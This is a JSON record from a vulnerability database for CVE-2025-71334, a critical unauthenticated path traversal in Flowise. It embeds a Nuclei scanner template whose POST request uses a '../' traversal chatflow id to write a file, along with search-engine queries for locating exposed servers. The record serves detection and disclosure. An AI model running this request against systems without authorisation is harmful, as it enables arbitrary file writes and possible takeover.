{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-71334/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-71334/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-71334/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-71334/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-71334/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-71334"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-71334"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.0436,
      "kev": false,
      "percentile": 0.90824
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-71334.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-71334\n\ninfo:\n  name: Flowise - Path Traversal\n  author: theamanrawat\n  severity: critical\n  description: |\n    Flowise <= 2.2.8 contains a path traversal vulnerability caused by missing validation of chatflowId and chatId parameters in file handling, letting unauthenticated attackers read and write arbitrary files, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can read and write arbitrary files, potentially leading to remote code execution and full system compromise.\n  remediation: |\n    Update to version 3.0.6 or later.\n  reference:\n    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-71334\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-71334\n    epss-score: 0.0436\n    epss-percentile: 0.90824\n    cwe-id: CWE-73\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: flowiseai\n    product: flowise\n    shodan-query: title:\"Flowise\"\n    fofa-query: title=\"Flowise\"\n    censys-query: services.http.response.html_title=\"Flowise\"\n  tags: cve,cve2025,flowise,lfi,path-traversal,file-write,vkev,intrusive\n\nvariables:\n  name: \"{{randstr}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Flowise\"\n        case-insensitive: true\n        internal: true\n\n  - method: POST\n    path:\n      - \"{{BaseURL}}/api/v1/chatflows\"\n\n    headers:\n      Content-Type: application/json\n      x-request-from: internal\n\n    body: |\n      {\"id\":\"../../../../../../../../tmp\",\"name\":\"{{name}}\",\"deployed\":false,\"isPublic\":false,\"flowData\":\"{\\\"nodes\\\":[{\\\"id\\\":\\\"a\\\",\\\"data\\\":{\\\"category\\\":\\\"Document Loaders\\\",\\\"inputs\\\":{\\\"key\\\":\\\"data:text/plain;base64,bnVjbGVpLWN2ZS0yMDI1LTcxMzM0,a:{{name}}.txt\\\"}}}],\\\"edges\\\":[],\\\"viewport\\\":{\\\"x\\\":1,\\\"y\\\":1,\\\"zoom\\\":1}}\",\"chatbotConfig\":null,\"apiConfig\":null,\"analytic\":null,\"speechToText\":null,\"type\":\"CHATFLOW\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"FILE-STORAGE::\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '\\\\\"FILE-STORAGE::\\[\\\\\\\\\\\\\"(.*?)\\\\\\\\\\\\\"\\]\\\\\"'\n# digest: 4a0a004730450221008ea573b90da08132da9bb515e9b934de48d58fcca32e343215bec948028ee56e02207b9af36b4f45717cfdbcc3728a9c6399eccb57d815629a34b06ac4bd3e88b416:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-71334"
}